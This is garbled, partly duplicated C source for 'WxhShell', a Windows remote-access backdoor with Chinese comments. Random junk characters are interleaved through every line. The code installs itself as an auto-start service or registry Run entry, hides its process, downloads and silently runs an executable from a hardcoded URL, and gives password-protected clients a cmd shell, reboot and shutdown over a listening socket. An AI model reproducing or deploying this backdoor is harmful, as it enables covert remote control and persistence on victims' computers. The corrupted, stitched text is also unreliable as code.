(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F?2FITi_V NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qRUCnCZs 'wE\{1~_[+ if (!NtQueryInformationProcess) return 0; ]L]T>~X` |>JmS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 24|<<Xn if(!hProcess) return 0; 3;D?|E]1 a(Sv,@/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d<Dn9,G Lw*1 .~ CloseHandle(hProcess); {{zua-F r`>~Lp` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J[+Tj@n' if(hProcess==NULL) return 0; TAAR'Jz S AO8:|?3S HMODULE hMod; Tg\hx> char procName[255]; @ V5S4E unsigned long cbNeeded; (\uAAW" 3GINv3_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x 8M#t(hw `vH&K{ CloseHandle(hProcess); h9Z[z73_a 8!6<p[_ if(strstr(procName,"services")) return 1; // 以服务启动 5:_~mlfi bXm:]? return 0; // 注册表启动 g`{Dxb,t } | @q9{h7 B{4"$Mi // 主模块 xO gq-@` int StartWxhshell(LPSTR lpCmdLine) (WkTQRcN, { a[JZ5D SOCKET wsl; 5~-}}F BOOL val=TRUE; YiBOi?h9 int port=0; 9<~,n1b>x struct sockaddr_in door; X@eg<]'m W9+h0A- if(wscfg.ws_autoins) Install(); / (.'*biQ /J8o_EV port=atoi(lpCmdLine); q4zSS #]A nYgx9Q"<om if(port<=0) port=wscfg.ws_port; &}O8w77 SE-} XI\ WSADATA data; %N1T{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iUpSN0XkMM KwQXA' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +}\29@{W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i63?" door.sin_family = AF_INET; vnF g%M! door.sin_addr.s_addr = inet_addr("127.0.0.1"); i!y\WaCp door.sin_port = htons(port); d^_itC;-, f0g6g!&gf if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =X<)5IS3 closesocket(wsl); xz="|HD); return 1; Hc"N&
%X[ } k\%,xf; x &7lk2Q\ if(listen(wsl,2) == INVALID_SOCKET) { {MA@A5 closesocket(wsl); =cknE= return 1; m_~y } 9PWm@
Nlf Wxhshell(wsl); u`nt\OF WSACleanup(); '|J) ds ,%.:g65% return 0; d7\k gh ;q'DGzh } y K=S!7p\ |\rSa^:5 // 以NT服务方式启动 c;nx59w]q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }q/(D? { pEJ#ad DWORD status = 0; TIKEg10I DWORD specificError = 0xfffffff; fWqv3nY^ <b3x(/ serviceStatus.dwServiceType = SERVICE_WIN32; ;cnnqT6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,q/tyGj serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G)4ZK#wz serviceStatus.dwWin32ExitCode = 0; ipgN<|`?@ serviceStatus.dwServiceSpecificExitCode = 0; B?!9W@ serviceStatus.dwCheckPoint = 0; .$n$%|"H- serviceStatus.dwWaitHint = 0; w
5!ndu KC#kss hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J,.j_ii`! if (hServiceStatusHandle==0) return; WFQ*s4 R( q.U*X5 status = GetLastError(); !4i,%Z&6 if (status!=NO_ERROR) b*@&c9I;q { 0@JilGk1u serviceStatus.dwCurrentState = SERVICE_STOPPED; q+r `e serviceStatus.dwCheckPoint = 0; (ej:_w1 serviceStatus.dwWaitHint = 0; 6sO serviceStatus.dwWin32ExitCode = status; [BJ$|[11 serviceStatus.dwServiceSpecificExitCode = specificError; rDK;6H:u{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); $:T<IU[E return; +"TI_tK,S } M9g~lKs' "
&_$V@S serviceStatus.dwCurrentState = SERVICE_RUNNING; _K*\}un2 serviceStatus.dwCheckPoint = 0; EY,;e\7O, serviceStatus.dwWaitHint = 0; )w^GPlh if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NKupOJJq } dcV,_ {d&X/tT // 处理NT服务事件,比如:启动、停止 )er?*^9Z VOID WINAPI NTServiceHandler(DWORD fdwControl) hP ,b-R9\ { jsK|D{m? switch(fdwControl) c,+L + { 6~:W(E} case SERVICE_CONTROL_STOP: z"
b/osV serviceStatus.dwWin32ExitCode = 0; %AzPAWcN serviceStatus.dwCurrentState = SERVICE_STOPPED; PU,6h} serviceStatus.dwCheckPoint = 0; V[BY/<z)A serviceStatus.dwWaitHint = 0; GlXA-p< { x*5 Ch~<k SetServiceStatus(hServiceStatusHandle, &serviceStatus); BnKP7e } ]}UeuF\ return; e|2vb
GQ case SERVICE_CONTROL_PAUSE: yEMX ` serviceStatus.dwCurrentState = SERVICE_PAUSED; !D.= 'V break; i}v}K'` case SERVICE_CONTROL_CONTINUE: $.suu^>^w serviceStatus.dwCurrentState = SERVICE_RUNNING; )nf=eU4| break; [
t>}SE case SERVICE_CONTROL_INTERROGATE: aYv'H break; UE}8Rkt }; Jdk3)
\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); bIvJs9L } uzzWZ9Tv yv6Zo0s<J // 标准应用程序主函数 mq|A8>g int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BK`Q)[ { 0~PXa(!^K I?^Q084 // 获取操作系统版本 3D 4]yR5 OsIsNt=GetOsVer(); _WRR
3 GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Zv.[V]iOO kxr6sO~ // 从命令行安装 =8$(i[;6w if(strpbrk(lpCmdLine,"iI")) Install(); gQ[] 97:t29N // 下载执行文件 }QX2:a if(wscfg.ws_downexe) { c<JM1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KZp,=[t WinExec(wscfg.ws_filenam,SW_HIDE); XwKZv0ub } al3BWRq'f -Fp!w "=T if(!OsIsNt) { }5TfQV6 // 如果时win9x,隐藏进程并且设置为注册表启动 1)P<cNj HideProc(); CYTuj>Ww StartWxhshell(lpCmdLine); !:g>CDA } Y:tW] else Allt]P> if(StartFromService()) MHpL$g=5_ // 以服务方式启动 %~~z9 6( StartServiceCtrlDispatcher(DispatchTable); n6}E4Eno else l1+w2rd1 // 普通方式启动 Q%X:5G? StartWxhshell(lpCmdLine); kb>Vw<NtE :uU]rBMo return 0; [t"_}t =w } 6,V.j>z A9fjMnw m-Z'K_oQ c1)BGy li =========================================== OTNZ!U/)j Hz!U_? qJbhPY8Ak [i<$ZP 8a":[Q[ f2R+5`$ " -Z/6;2Q laD.or #include <stdio.h> &8:iB {n #include <string.h> [`Qp;_K?t #include <windows.h> Gct&}]3pm #include <winsock2.h> 0%qctZy #include <winsvc.h> YP
.%CD(K #include <urlmon.h> VAF:Z R.T?ZF #pragma comment (lib, "Ws2_32.lib") ki*79d"$ #pragma comment (lib, "urlmon.lib") "I}'C^gP Y|x6g(b #define MAX_USER 100 // 最大客户端连接数 WW8YB" #define BUF_SOCK 200 // sock buffer u
#=kb5}{ #define KEY_BUFF 255 // 输入 buffer Qn'r+X5t 3
4A&LBwC #define REBOOT 0 // 重启 l b1sV #define SHUTDOWN 1 // 关机 [6RV'7`Abj +*:x#$phx #define DEF_PORT 5000 // 监听端口 !Wdt:MUI8 ]X"i~$T1 S #define REG_LEN 16 // 注册表键长度 [6/%V>EM #define SVC_LEN 80 // NT服务名长度 T`RQUJO "ojD f3@{ // 从dll定义API x=)30y3*; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WW8L~4Zy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]'
"^M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8^ ~ZNU-~v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kw-Kx4 ) ]~ g|SqPA@ // wxhshell配置信息 =aCIaL&9Y struct WSCFG { ^RFmRn int ws_port; // 监听端口 v%l|S{>( char ws_passstr[REG_LEN]; // 口令 +hKPOFa' int ws_autoins; // 安装标记, 1=yes 0=no O+8ApicjTc char ws_regname[REG_LEN]; // 注册表键名 8^f[-^% char ws_svcname[REG_LEN]; // 服务名 pn_gq~5ng char ws_svcdisp[SVC_LEN]; // 服务显示名
:[X}.]" char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ie`SWg*WL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &:cTo(C' int ws_downexe; // 下载执行标记, 1=yes 0=no d)17r\*>I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /O(;~1B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1vR#FE? JG+g88 }; Z+"E* 5x1jLPl' // default Wxhshell configuration 3/SqXu struct WSCFG wscfg={DEF_PORT, v_1JH<GJ- "xuhuanlingzhe", b#\kZ/W 1, -~Z@, "Wxhshell", 9T0wdK] "Wxhshell", J1y2Qw$G "WxhShell Service", 9OJ\n|,( "Wrsky Windows CmdShell Service", y
4,T "Please Input Your Password: ", s$nfY.C 1, pg}DC0a "http://www.wrsky.com/wxhshell.exe", MS*Mem, "Wxhshell.exe" Q&U= jX }; n.H`1@ Kjca>/id // 消息定义模块 in;+d~? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `v/tf|v6 char *msg_ws_prompt="\n\r? for help\n\r#>"; eQ)ioY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [9W&1zY char *msg_ws_ext="\n\rExit."; XGrxzO|{ char *msg_ws_end="\n\rQuit."; 3z/O`z char *msg_ws_boot="\n\rReboot..."; ?'$.
-z: char *msg_ws_poff="\n\rShutdown..."; N(({2'Rr char *msg_ws_down="\n\rSave to "; r{:la56Xd 0\ytBxL char *msg_ws_err="\n\rErr!"; bl=*3qB char *msg_ws_ok="\n\rOK!"; $GfxMt B& f~.UH char ExeFile[MAX_PATH]; zKAyfn.A int nUser = 0; =B{$U~} HANDLE handles[MAX_USER]; DrCfC[A~] int OsIsNt; nrD=[kc!w jQwg)E+o; SERVICE_STATUS serviceStatus; CPCB!8-5 SERVICE_STATUS_HANDLE hServiceStatusHandle; ^&w'`-ra ;uo|4?E:\( // 函数声明 $}h_EI6hS int Install(void); qpEC!~y int Uninstall(void); MvjwP?J] int DownloadFile(char *sURL, SOCKET wsh); r'JK$9 int Boot(int flag); >, Swk3 void HideProc(void); T.Y4L int GetOsVer(void); TX5/{cHd int Wxhshell(SOCKET wsl); zm^p7&ak$ void TalkWithClient(void *cs); N@`9 ~JS int CmdShell(SOCKET sock); v_F?x! int StartFromService(void); {~p %\ int StartWxhshell(LPSTR lpCmdLine); ljR?* P bA9dbe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w!Lb;4x ? VOID WINAPI NTServiceHandler( DWORD fdwControl ); P*^UU\x'4I GMp'KEQQ // 数据结构和表定义 ^~kFC/tQ SERVICE_TABLE_ENTRY DispatchTable[] = Lay+)S.ta[ { :22IY>p {wscfg.ws_svcname, NTServiceMain}, X+K$y:UZ {NULL, NULL} <`q|6XWL }; [y T4n.f N+PW,a // 自我安装 QPfS3%p` int Install(void) VPTT*a` { SS;QPWRZ char svExeFile[MAX_PATH]; [@= [<
_r HKEY key; hoi hdVjv strcpy(svExeFile,ExeFile); ?fEX&t,' Mf&W<n^j // 如果是win9x系统,修改注册表设为自启动
Xze if(!OsIsNt) { (;a
O% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Ys>PzM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K0\a+6kh RegCloseKey(key); d/(=q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;NRT
a* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iEki<e/ RegCloseKey(key); GD'C^\EaZ return 0; /)de`k" } xIrpGLPSh } ?4Z0)%6 } vd /_`l.D else { tb0XXEE fwAN9zs // 如果是NT以上系统,安装为系统服务 R\:C|/6f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `z)!!y if (schSCManager!=0) ojVpw4y. { [`fq4Ky SC_HANDLE schService = CreateService _u;^w}0 ( uU.9*B=H9 schSCManager, pLzsL>6h wscfg.ws_svcname, &F'v_9 wscfg.ws_svcdisp, d0 V>;Q SERVICE_ALL_ACCESS, 9'toj%XQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ip4NkUI3T SERVICE_AUTO_START, 0uU%jN$ SERVICE_ERROR_NORMAL, 0dkM72p svExeFile, C3@.75-E NULL, d<7J)zUm3 NULL, &ApJ'uC NULL, 2J4|7UwJ NULL, 38q@4U=aiw NULL fr#lH3 ); iY|YEi8 if (schService!=0) Rc6
)v { Y[~6f,?^ CloseServiceHandle(schService); eF8`an5S CloseServiceHandle(schSCManager); 5h:SH]tn8] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o@>c[knJ strcat(svExeFile,wscfg.ws_svcname); 0= 'DDy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bd
NuhV`0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a ^)Mx9 RegCloseKey(key); b(SV_.4,' return 0; ZM#WdP } :T\WYKX3C } 7@lXN8_f CloseServiceHandle(schSCManager); 9iF e^^<ss } i`>X5Da5 } 'd t}i< iO!lG return 1; CD&m4^X5D } *2AQ'%U~ 6#KI?
6 // 自我卸载 poe Xi\e!( int Uninstall(void) vfv5ex( { Un/fP1 HKEY key; eYcx+BJ xF/D YXC{8 if(!OsIsNt) { Q
jBCkx]g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U2AGH2emw RegDeleteValue(key,wscfg.ws_regname); 9/$P_Q:3 RegCloseKey(key); ZWa#}VS}-n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `e9uSF:9C RegDeleteValue(key,wscfg.ws_regname); >1~`tP RegCloseKey(key); KNg5Ptk return 0; _B1uE2j9 } 'YR5i^:t } U]D.z}0 } ? g{,MP5 else { -7O/ed+ |d5L
Ifb( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`_'Dj> if (schSCManager!=0) PbPP1G') { U(N$6{i_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )A0&16< if (schService!=0) |+:ZO5FaO { 9AYe,R if(DeleteService(schService)!=0) { #5C3S3e= CloseServiceHandle(schService); %'T>kz *A CloseServiceHandle(schSCManager); V
3]p3 return 0; J\so8uT: } t60/f&A#7H CloseServiceHandle(schService); 9,5II0N L } x#0@$ CloseServiceHandle(schSCManager); %9/) } V3W85_* } W-PZE|< #=H}6!18 return 1; D:ugP, } rgzI 4_%FSW8- // 从指定url下载文件 e-cb?.WU? int DownloadFile(char *sURL, SOCKET wsh) I*t)x,~3 { HCIF9{o1j> HRESULT hr; R[9PFMn char seps[]= "/"; D
Ok^ON char *token; 6J-}&U char *file; W:poUG1UR char myURL[MAX_PATH]; _
1{5~
char myFILE[MAX_PATH]; 7oe@bS/Z .&x?`pER strcpy(myURL,sURL); x0A%kp&w token=strtok(myURL,seps); pd>a6 lI` while(token!=NULL) :5K~/=6x { quGPk)c file=token; a^T4\ token=strtok(NULL,seps); y]YS2^ } fd"~[z [ 5652'p GetCurrentDirectory(MAX_PATH,myFILE); xFm{oJ!]& strcat(myFILE, "\\"); Bb[0\Hs7 strcat(myFILE, file); !bV(VRbu send(wsh,myFILE,strlen(myFILE),0); vx5o
k1UY send(wsh,"...",3,0); KvJP(!{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `{|}LFS> if(hr==S_OK) qv*uM0G6i return 0; y5Wqu9C\Io else W8yfa[z~J return 1; S[hJ{0V 8P<UO } "p~]m~g FX|lhwmc( // 系统电源模块 t6%xit+ int Boot(int flag) 9 /Ai( { mf]( 3ZL HANDLE hToken; rI^~9Rz TOKEN_PRIVILEGES tkp; Q"6hD?6. >,"D9! if(OsIsNt) { R#7+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rxgVT4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x:n9dm tkp.PrivilegeCount = 1; /romTK4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p[@oF5M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kk/+Vx~ if(flag==REBOOT) { $XQ;~i
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a._^E/EV return 0; w-'D*dOi } V:F+HMBk else {
\ +?,c\x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @RoRNat return 0; !7kLFW } kHJDX; } RlslF9f else { C{`^9J- if(flag==REBOOT) { 6&
&} P79 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p-i.ITRS return 0; Oa.f~|
} Vyq#p9Q else { ]w_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X #p o|,Q return 0; /H%<oAjp6 } Rg8m4x w } PzMlua 0279g return 1; qlz9&w } yBPt%EF S6Xb*6 // win9x进程隐藏模块
d-ag void HideProc(void) \tiUEE|k { *w'q daA47`+d HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2,8/Cb if ( hKernel != NULL ) ;o-\. =l { 6Q.{llO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wVvqw/j*f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b(.-~c(' FreeLibrary(hKernel);
}@rg5$W } ( Lok ,>bGbx return; SE,o7_k'S } C=oM,[ESQ0 J{Y6fHFi // 获取操作系统版本 p@?7^nIR*u int GetOsVer(void) lgkl? 0! { ;mf4U85 OSVERSIONINFO winfo; Q vv\+Jp^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cec9#C GetVersionEx(&winfo); "*Lj8C3|n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Je#!Wd return 1;
sBP}n.#$ else Af2=qe return 0; 2Ueq6IuQ } d] b~)!VW Xt</ -` // 客户端句柄模块 Zdv.PGn int Wxhshell(SOCKET wsl) wF|0n t { q[{: SOCKET wsh; =y)p>3p}& struct sockaddr_in client; }1U#Ve,=_ DWORD myID; ! (2-(LgA ES^>[2Y while(nUser<MAX_USER) Z~r[;={, { mgi,b2 int nSize=sizeof(client); I#"t'=9H wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eq^TA1>T if(wsh==INVALID_SOCKET) return 1; jP1$qhp 6-mmi7IfO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VK @$JwdL if(handles[nUser]==0) u9TzZ closesocket(wsh); c u\ls^ else
uY.=4l nUser++; Ihdu1]~R{ }
@bY('gC, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @@'nit J&A;#<qY return 0; CD^CUbGk } w+q?T ;knd7SC // 关闭 socket D`~JbKV5@^ void CloseIt(SOCKET wsh) 'dkXYtKCB { u K'<xM"%T closesocket(wsh); ddoST``G nUser--; 3>i>@n_ ExitThread(0); GtF2@\ } Yx6hA#7I -g:lOht // 客户端请求句柄
\;-qdV_JB void TalkWithClient(void *cs) 1<`9HCm { GP* + 6MuWlCKF8 SOCKET wsh=(SOCKET)cs; pFpZbU^ char pwd[SVC_LEN]; Kaf> char cmd[KEY_BUFF]; N;<//, char chr[1]; fCB:733H int i,j; [#0Yt/G Xq|nJ|h while (nUser < MAX_USER) { 7U,k 2LS NUMi])HkN if(wscfg.ws_passstr) { R8tF/dx>7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )%s +? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _().t5< //ZeroMemory(pwd,KEY_BUFF); :y\09)CJK i=0; 1 o|T while(i<SVC_LEN) { gA_krK,Z 6)ycmu;!$ // 设置超时 .!i0_Rv5x fd_set FdRead; M`~!u/D7 struct timeval TimeOut; @44P4?; FD_ZERO(&FdRead); @F?=a*s"! FD_SET(wsh,&FdRead); CN/IH TimeOut.tv_sec=8; |1"!kA TimeOut.tv_usec=0; +e'X; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FSU<Y1|XM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l)Zs-V!M^\ ('t kZt%8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .|uLt J pwd=chr[0]; $M':&i5`, if(chr[0]==0xd || chr[0]==0xa) { noC?k }M pwd=0; =OYQM<q break; VFO\4:. } cOkgoL" 4 i++; fYBH)E } dv7<AJ &x0C4Kh // 如果是非法用户,关闭 socket 3sFeP& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u g\w\b } F}U5d^!2 B
wC+ov= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?+r!z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1zjaR4Tf MdC<4^| while(1) { =-~;OH/ We}lx{E ZeroMemory(cmd,KEY_BUFF); '# z]M WJ+>e+ // 自动支持客户端 telnet标准 5j{Np,K j=0; k=/eM$": while(j<KEY_BUFF) { zoP%u,XL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gLQ #4H
cmd[j]=chr[0]; Y-p<qL|_ if(chr[0]==0xa || chr[0]==0xd) { q* !3C cmd[j]=0; `.=sTp2rbc break; hVP
IHQt } *
OsU Y=; j++; KrKu7]If6# } 8g*hvPc U,;xZe // 下载文件 :?CQuEv- if(strstr(cmd,"http://")) { ;GsQR+en send(wsh,msg_ws_down,strlen(msg_ws_down),0); PuXUuJx( if(DownloadFile(cmd,wsh)) ;=jr0\| e send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5H lWfD else #
|^^K!% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q0O&UE)6Y } |dmh else { "Xn%at4 pCU*@c! switch(cmd[0]) { cDV^8 R 61_f3S(u // 帮助 (/h5zCc/v case '?': { Yck~xt&] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pOga6'aB) break; K:5eek } h`5)2n+ P // 安装 >dQ K.CG case 'i': { *t9eZ!_f? if(Install()) ^Jx$t/t send(wsh,msg_ws_err,strlen(msg_ws_err),0);
27 GhE else wW`}VKu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RuAlB* break; 0ys~2Y!eH } ftZj}|R! // 卸载
=P^wh case 'r': { \ijMw if(Uninstall()) lDc;__}Ws send(wsh,msg_ws_err,strlen(msg_ws_err),0); HJhH-\{@ else z?ucIsbR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9dKul,c break; 8_we:
9A } KMjg;!y // 显示 wxhshell 所在路径 85 ]SC$ case 'p': { `M@Ak2gcR+ char svExeFile[MAX_PATH]; TbhH&kG)1 strcpy(svExeFile,"\n\r"); ?m"|QS!!K strcat(svExeFile,ExeFile); G?hK9@ |v send(wsh,svExeFile,strlen(svExeFile),0); 5EeDHsvV9 break; 8+'C_t/0i } H\G{3.T.9 // 重启 (36K3=Q a case 'b': { [Ot,q/hBJ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n9hm790x- if(Boot(REBOOT)) RKkGITDk send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~c+'E` else { BWq/TG=> closesocket(wsh); \54}T4R ExitThread(0); FGanxv@15 } t#~?{i@m break; mLwY]2T" } Rp.W,)i // 关机 RA/EpD:H case 'd': { Q/^A #l[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L-h$Z0]_F if(Boot(SHUTDOWN)) -- k:a$Nt send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'KishHK= else { e<=;i" |
closesocket(wsh); 3<(q } ExitThread(0); *^XbDg9 } 6m`{Z`c$ break; %w"nDu2Gcv } 0Xl%uF+w // 获取shell Omyt2`q case 's': { Ka-p& Uv1< CmdShell(wsh); J)x3\[}Ye closesocket(wsh); i g71/'D ExitThread(0); y!Cc?$]_Y break; j$@tK0P } gA^q^>7 // 退出 Np,2j KF( case 'x': { SBf FZw) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d>i13dAI CloseIt(wsh); v%91k break; %FA@)?~ } ! -tz4vjw // 离开 n9UKcN- case 'q': { Fwfo2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8<&EvOk closesocket(wsh); i@$*Csj\9* WSACleanup(); ~brFo2 exit(1); $|<m9CW break; zK5bO=0j } a39h P* } >P(`MSc } CEtR[Cu VXKT\9g3A // 提示信息 q-AN[_@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^%[F8\}XPJ } 3N4.$#>#9@ } ,=By$.rr' N6/T#UVns return; h4`9Cfrq , } w]!0< L*
|1/ // shell模块句柄 ><Z'D int CmdShell(SOCKET sock) {d!Y3+I%G { x>3@R0A1: STARTUPINFO si; }T(z4P3 ZeroMemory(&si,sizeof(si)); 6?gi_3g
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8vD3=yK%^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v\A.Tyy PROCESS_INFORMATION ProcessInfo; S@}4-\ char cmdline[]="cmd"; j\2[H^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l4T:d^Eb return 0; A,XfD} +:Z } U{#xW Z)9R9s // 自身启动模式 JP=ZUu int StartFromService(void) J!p<oW)a! { I:;+n^N? typedef struct `,#!C`E 9 { ZBM!MSf: DWORD ExitStatus; Tov&68A~e DWORD PebBaseAddress; fluGf DWORD AffinityMask; _z"o1`{w DWORD BasePriority; q=0 pQ1> ULONG UniqueProcessId;
WL-0( ULONG InheritedFromUniqueProcessId; nQLs<]h1 } PROCESS_BASIC_INFORMATION; "tR}j,=S:D Fd8hGj1 PROCNTQSIP NtQueryInformationProcess; ukihx?5 x_:hii?6V static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a%J/0'(d static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J(9=T<%T ?r3e*qJGn HANDLE hProcess; p24.bLr PROCESS_BASIC_INFORMATION pbi; 8/q*o>[? yazZw}}; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4iBxPo(0 if(NULL == hInst ) return 0; ScJu_Af O/9fuEF g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S0xIvzS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l l:jsm NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E .;io*0 g:i*O^c@ if (!NtQueryInformationProcess) return 0; </ZHa:=7 gb-tNhJa@b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0/Q5d,'Y[2 if(!hProcess) return 0; -\,VGudM} UK:M:9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P>W8V+l![ L>:FGNf^H CloseHandle(hProcess); +Ag#B* bZ1 0v; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
